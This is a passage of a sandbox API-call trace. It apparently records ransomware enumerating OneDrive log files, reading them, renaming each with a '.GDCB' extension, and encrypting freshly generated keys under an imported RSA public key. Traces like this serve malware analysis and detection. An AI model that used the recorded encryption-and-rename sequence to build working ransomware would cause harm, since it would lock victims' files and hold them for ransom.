(lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.486] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123818_e38-824.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123818_e38-824.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_123818_e38-824.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_123818_e38-824.log.gdcb")) returned 1 [0203.492] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0203.494] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.495] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.495] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.495] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.495] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.496] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.497] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.497] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.497] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.497] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.499] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf2d0) returned 1 [0203.499] CryptGetKeyParam (in: hKey=0x50cf2d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.499] CryptEncrypt (in: hKey=0x50cf2d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.499] GetLastError () returned 0x0 [0203.499] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.499] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.501] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf4d0) returned 1 [0203.501] CryptGetKeyParam (in: hKey=0x50cf4d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.501] CryptEncrypt (in: hKey=0x50cf4d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.501] GetLastError () returned 0x0 [0203.501] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_864-704.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_864-704.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.503] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.504] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.506] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x249e, lpOverlapped=0x0) returned 1 [0203.538] VirtualAlloc (lpAddress=0x0, dwSize=0x24a0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.544] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_864-704.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_864-704.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_864-704.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_864-704.log.gdcb")) returned 1 [0203.548] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.551] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.551] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.551] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.551] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0203.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.555] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.555] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.556] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.558] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf190) returned 1 [0203.558] CryptGetKeyParam (in: hKey=0x50cf190, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.558] CryptEncrypt (in: hKey=0x50cf190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.558] GetLastError () returned 0x0 [0203.558] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.558] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0203.560] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf510) returned 1 [0203.560] CryptGetKeyParam (in: hKey=0x50cf510, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.560] CryptEncrypt (in: hKey=0x50cf510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.560] GetLastError () returned 0x0 [0203.560] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.560] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.562] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0203.563] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0203.564] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x21f8, lpOverlapped=0x0) returned 1 [0203.574] VirtualAlloc (lpAddress=0x0, dwSize=0x2200, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0203.578] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log.gdcb")) returned 1 [0203.581] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0203.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.583] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.583] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.583] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.586] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.586] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.586] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.588] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf7d0) returned 1 [0203.588] CryptGetKeyParam (in: hKey=0x50cf7d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.588] CryptEncrypt (in: hKey=0x50cf7d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.588] GetLastError () returned 0x0 [0203.588] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.588] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.590] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf550) returned 1 [0203.593] CryptGetKeyParam (in: hKey=0x50cf550, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.593] CryptEncrypt (in: hKey=0x50cf550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.593] GetLastError () returned 0x0 [0203.593] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.593] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-05-24_104601_b30-494.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-05-24_104601_b30-494.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.593] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.596] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.596] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.596] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.596] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0203.597] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.598] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.598] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.598] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.598] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.600] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf090) returned 1 [0203.600] CryptGetKeyParam (in: hKey=0x50cf090, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.601] CryptEncrypt (in: hKey=0x50cf090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67c0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x67c0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.601] GetLastError () returned 0x0 [0203.601] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.601] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0203.603] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf310) returned 1 [0203.603] CryptGetKeyParam (in: hKey=0x50cf310, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.603] CryptEncrypt (in: hKey=0x50cf310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x67d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.603] GetLastError () returned 0x0 [0203.603] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0203.603] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-07-12_164141_b14-7f0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-07-12_164141_b14-7f0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.603] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0203.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.606] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.606] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.606] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0203.606] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.608] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.608] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.608] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.608] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.609] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0203.611] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf350) returned 1 [0203.611] CryptGetKeyParam (in: hKey=0x50cf350, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.611] CryptEncrypt (in: hKey=0x50cf350, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x67e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.611] GetLastError () returned 0x0 [0203.611] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0203.611] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.613] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf590) returned 1 [0203.613] CryptGetKeyParam (in: hKey=0x50cf590, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.613] CryptEncrypt (in: hKey=0x50cf590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x67f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x67f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.613] GetLastError () returned 0x0 [0203.613] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.613] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-11-10_161058_b2c-b34.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-11-10_161058_b2c-b34.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0203.616] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0203.617] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.618] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.618] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0203.618] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0203.618] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0203.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0203.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0203.620] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0203.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.620] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.622] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf210) returned 1 [0203.622] CryptGetKeyParam (in: hKey=0x50cf210, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.622] CryptEncrypt (in: hKey=0x50cf210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6800000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6800000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0203.623] GetLastError () returned 0x0 [0203.623] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.623] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0203.624] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50cf690) returned 1 [0203.624] CryptGetKeyParam (in: hKey=0x50cf690, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0203.624] CryptEncrypt (in: hKey=0x50cf690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6810000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6810000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0203.625] GetLastError () returned 0x0 [0203.625] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0203.625] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0203.626] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6820000 [0203.627] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6830000 [0203.628] ReadFile (in: hFile=0x514, lpBuffer=0x6830000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6830000*, lpNumberOfBytesRead=0x285d3e8*=0x16ee6, lpOverlapped=0x0) returned 1 [0203.664] VirtualAlloc (lpAddress=0x0, dwSize=0x16ef0, flAllocationType=0x3000, flProtect=0x4) returned 0x6940000 [0203.671] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 